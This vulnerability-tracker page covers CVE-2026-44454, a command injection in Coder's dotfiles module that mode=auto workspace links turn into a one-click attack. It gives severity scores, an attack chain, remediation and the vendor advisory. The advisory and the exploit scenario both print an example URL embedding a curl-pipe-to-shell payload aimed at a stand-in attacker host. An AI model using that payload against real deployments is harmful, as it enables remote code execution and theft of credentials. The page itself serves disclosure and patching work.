Skip to main content

Coder CVE-2026-44454

| EUVDEUVD-2026-42087 HIGH
OS Command Injection (CWE-78)
2026-07-02 https://github.com/coder/coder GHSA-m3cr-vc2j-pm27
8.8
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft malicious mode=auto workspace URL
  2. Delivery
    Send link to authenticated victim
  3. Exploit
    Victim clicks, workspace auto-created
  4. Execution
    Shell expands dotfiles_uri payload
  5. Persist
    Execute arbitrary code in workspace
  6. Impact
    Harvest secrets and Git credentials

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the target Coder deployment to use a template that includes the vulnerable coder/registry dotfiles module and exposes the dotfiles_uri parameter, running on a pre-patch server (< 2.29.7 or 2.30.0-2.30.1). For the one-click amplified path, the attacker must get an already-authenticated Coder user to click a crafted link containing mode=auto plus param.dotfiles_uri=<payload> - victim interaction (UI:R) is the primary limiting factor, and no attacker account is needed. Without mode=auto, exploitation still works but degrades to self-compromise: a user must themselves enter a malicious dotfiles_uri containing shell metacharacters ($(), backticks, ;, |, &&). Limiting factors: an authenticated victim session, user interaction (link click or manual parameter entry), and a template configured with the dotfiles module - deployments not using that module are not exposed via this vector.

Impact

The signals are broadly consistent but nuanced. The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8) reflects network-reachable, low-complexity exploitation with no attacker privileges but requiring victim interaction (clicking a link) - appropriate for the mode=auto amplified path. SSVC rates Technical Impact as 'total' (full RCE) but Exploitation as 'none' and Automatable as 'no', because the attack hinges on social-engineering a specific authenticated user rather than mass scanning. EPSS of 2.28% (81st percentile) is moderately elevated but not extreme, consistent with a targeted rather than wormable issue. Not in CISA KEV and no confirmed in-the-wild use, so this is a genuine high-severity issue whose real-world exploitation is gated by user interaction and by the target deployment actually using the dotfiles module. One subtlety worth flagging: the pure command-injection path (a user entering their own crafted dotfiles_uri) is effectively self-compromise and would warrant PR:L rather than PR:N - the PR:N/UI:R scoring is justified only by the mode=auto link-click amplification.

Exploit ScenarioDerived

An attacker crafts a URL to a victim's Coder deployment targeting a template that uses the dotfiles module, e.g. https://deploy/templates/T/workspace?mode=auto&param.dotfiles_uri=foo$(curl https://attacker.example/x | sh).com, and sends it to an authenticated Coder user. When the user clicks, the pre-patch UI auto-creates the workspace and the module's shell expansion executes the embedded curl | sh payload, giving the attacker code execution inside the victim's workspace and access to its Git credentials, secrets, and files. No public exploit is identified, but the advisory documents a working example URL and the low attack complexity makes weaponization straightforward.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 2.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv3 – Jul 08, 2026

Command injection leading to arbitrary code execution affects Coder's self-hosted developer workspace platform via the coder/registry dotfiles module, which interpolated the user-controlled dotfiles_uri into a shell script without validation. Combined with the Create Workspace page's mode=auto deep links, an attacker can craft a single URL that silently provisions a workspace with an attacker-supplied dotfiles_uri (e.g. foo$(curl attacker.example/x | sh).com), turning it into a one-click RCE against any authenticated user who clicks. CVSS is 8.8 (High) with EPSS at 2.28% (81st percentile); there is no public exploit identified and it is not in CISA KEV, though a proof-of-concept URL is documented in the advisory.

Earlier versions of this analysis (2)
v2 Jul 08, 2026 - 19:58 cvss changed CVSS 8.8

Remote code execution in Coder's self-hosted developer workspace platform (versions < 2.29.7 and 2.30.0-2.30.2) allows an attacker to run arbitrary commands inside a victim's provisioned workspace by chaining an unsanitized dotfiles_uri command injection in the coder/registry dotfiles module with the Create Workspace page's mode=auto deep-link feature. An attacker crafts a malicious URL that silently auto-provisions a workspace with an attacker-controlled dotfiles URI; when an authenticated user clicks it, shell command substitution in the value executes without any confirmation prompt. There is no public exploit identified at time of analysis (not in CISA KEV), though the advisory publishes a working example URL and EPSS ranks it in the 81st percentile (2.28%).

v1 Jul 02, 2026 - 18:30 CVSS 8.1

Arbitrary code execution in Coder's self-hosted developer workspace platform arises from the coder/registry 'dotfiles' module interpolating an unsanitized dotfiles_uri into a shell script, letting shell metacharacters (e.g. $(...), ;, backticks) execute before the coder CLI runs. When paired with the Create Workspace page's mode=auto deep links, an attacker can craft a link that silently provisions a victim's workspace with an attacker-controlled dotfiles_uri, turning a self-injection into one-click RCE inside the authenticated victim's workspace. There is no public exploit identified at time of analysis and this is not in CISA KEV, though the researcher-provided PoC URL demonstrates the technique.

RemediationAI

Vendor-released patch: upgrade Coder to v2.29.7 (ESR) or v2.30.2 (mainline), which add a consent dialog that displays all prefilled param.* values and blocks creation until the user clicks Confirm and Create, removing the mode=auto one-click vector (commit 60e3ab7632f42415d283b9fd5622ee53a4639ceb, PR https://github.com/coder/coder/pull/22011). Additionally update the coder/registry dotfiles module to version 1.2.4, which adds regex validation rejecting dotfiles_uri/username values containing special characters and removes the unsafe eval/sh -c usage (PR https://github.com/coder/registry/pull/703); apply this even after the server upgrade since it fixes the injection at its source. If you cannot upgrade immediately, compensating controls include removing the dotfiles module from your Terraform templates (trade-off: users lose automated dotfiles provisioning), or pinning dotfiles_uri/default_dotfiles_uri to an operator-set fixed value so end users cannot supply arbitrary input, and advising users not to follow untrusted workspace-creation links to your deployment. Release notes: https://github.com/coder/coder/releases/tag/v2.29.7 and https://github.com/coder/coder/releases/tag/v2.30.2.

Affected VersionsENISA

coder 2.30.0, < 2.30.2
coder < 2.29.7

Affected Packages

go github.com/coder/coder no fix
go github.com/coder/coder/v2 fix: 2.29.7, 2.30.2
euvd coder fix: 2.29.7, 2.30.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The root cause is CWE-78 (OS Command Injection). Coder is a Terraform-driven platform that provisions cloud development workspaces, and templates can pull reusable modules from coder/registry. The dotfiles module wraps the coder dotfiles CLI, which itself safely uses Go's exec.CommandContext() with an argument array. The vulnerability was introduced one layer earlier: the module expanded the dotfiles_uri (and username) inside a shell script using unsafe eval/sh -c constructs, so shell metacharacters - command substitution $(...), backticks, and separators ;, |, && - were interpreted during shell expansion before the CLI was ever invoked. The affected code is the Go module github.com/coder/coder/v2 (CPE pkg:go/github.com_coder_coder_v2) plus the associated Terraform registry module. A second, orthogonal weakness in coder/coder - the mode=auto auto-creation flow accepting param.* values from the URL with no consent prompt - provided the delivery mechanism.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 8.8 HIGH
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
vuln.today AI 8.8 HIGH

The amplified mode=auto path needs no attacker privileges (PR:N) but requires the victim to click a crafted link (UI:R); full workspace RCE yields C:H/I:H/A:H with scope unchanged.

3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE HIGH

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

5
Analysis Updated
Jul 08, 2026 - 19:59 vuln.today
v3 - CVSS changed
Analysis Updated
Jul 08, 2026 - 19:58 vuln.today
v2 - CVSS changed
CVSS changed
Jul 08, 2026 - 19:52 NVD
8.1 (HIGH) 8.8 (HIGH)
CVSS changed
Jul 08, 2026 - 19:52 NVD
8.1 (HIGH) 8.8 (HIGH)
CVE Published
Jul 02, 2026 - 18:14 github-advisory
HIGH 8.1

DescriptionNVD

Command injection via dotfiles URI parameter combined with workspace auto-creation

Summary

The dotfiles registry module passed unsanitized user input to shell commands, allowing arbitrary code execution inside a provisioned workspace. Any user who supplied a crafted dotfiles_uri value (for example, one containing shell command substitution such as $(...)) could achieve command execution in their own workspace. The Create Workspace page's mode=auto deep links amplified this into a one-click attack: an attacker could craft a URL that prefilled param.dotfiles_uri and silently provisioned a workspace with the attacker-controlled value, with no explicit user confirmation.

Details

Command injection in the dotfiles module (root cause)

The dotfiles module interpolated the user-provided dotfiles_uri value directly into a shell script and executed it without input validation. Because the value was expanded by the shell, payloads using command substitution ($(...)), command separators (;, |, &&), or backticks were interpreted before the coder dotfiles CLI was invoked. The Coder CLI itself uses exec.CommandContext() with an argument array and is not vulnerable; the injection occurred earlier, during shell expansion inside the module. As a result, a user who entered a crafted dotfiles_uri obtained arbitrary code execution in their workspace, even without mode=auto.

Auto-creation amplification (mode=auto)

The Create Workspace page supported a mode=auto query parameter that, combined with param.* URL parameters, automatically created a workspace on page load without displaying a confirmation prompt. An attacker could craft a malicious URL pointing to a victim's Coder deployment and set arbitrary template parameter values (for example, param.dotfiles_uri). When an authenticated user clicked the link, the workspace was created immediately with the attacker-supplied parameters, turning the command injection above into a one-click, no-consent attack.

Example URL:

https://<deployment>/templates/<template>/workspace?mode=auto&param.dotfiles_uri=foo$(curl https://attacker.example/x | sh).com

Impact

Arbitrary code execution inside the victim's workspace. Depending on the workspace's privileges, this may expose Git credentials, secrets, and workspace files, and can provide a foothold for lateral movement. With mode=auto, exploitation required only that an authenticated user click an attacker-supplied link to a template that uses the dotfiles module.

Patches

coder/registry (primary fix)

Input validation was added to the dotfiles module to reject URIs and usernames containing special characters, and the unsafe eval/sh -c usage was removed. This eliminates the command injection at its source.

  • https://github.com/coder/registry/pull/703

coder/coder (defense-in-depth)

A consent dialog was added that displays all prefilled param.* values and blocks creation until the user explicitly clicks Confirm and Create. This removes the mode=auto one-click amplification vector.

  • Fix commit: https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb (PR #22011)
  • Patched releases:
  • v2.29.7 (ESR)
  • v2.30.2 (mainline)

Recognition

We'd like to thank Aviv Donenfeld for responsibly disclosing this issue in accordance with https://coder.com/security/policy

Executive ViewAI

Why It Matters

Coder's self-hosted developer workspace platform contains a command injection vulnerability (CVE-2026-44454, CVSS 8.8) enabling one-click remote code execution against any authenticated developer, with no public exploit identified at time of analysis. Developer environments typically provide access to source code repositories, CI/CD credentials, and production deployment systems, making this a critical avenue for supply chain and data compromise.

Business Impact: Severe
Compensating Controls

Apply vendor patch: upgrade to version 2.29.7 or later (v2.29.x line) or version 2.30.3 or later (v2.30.x line). Interim mitigation during patching window: disable workspace auto-provisioning (mode=auto feature) and restrict internal sharing of Coder workspace provisioning URLs.

Threat Intelligence Overview

EPSS Score
2.3%
Top 19% exploitable
Prevalence
Medium
self-hosted developer workspace platform, common in dev-focused orgs, not universal
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 2.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: +2
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy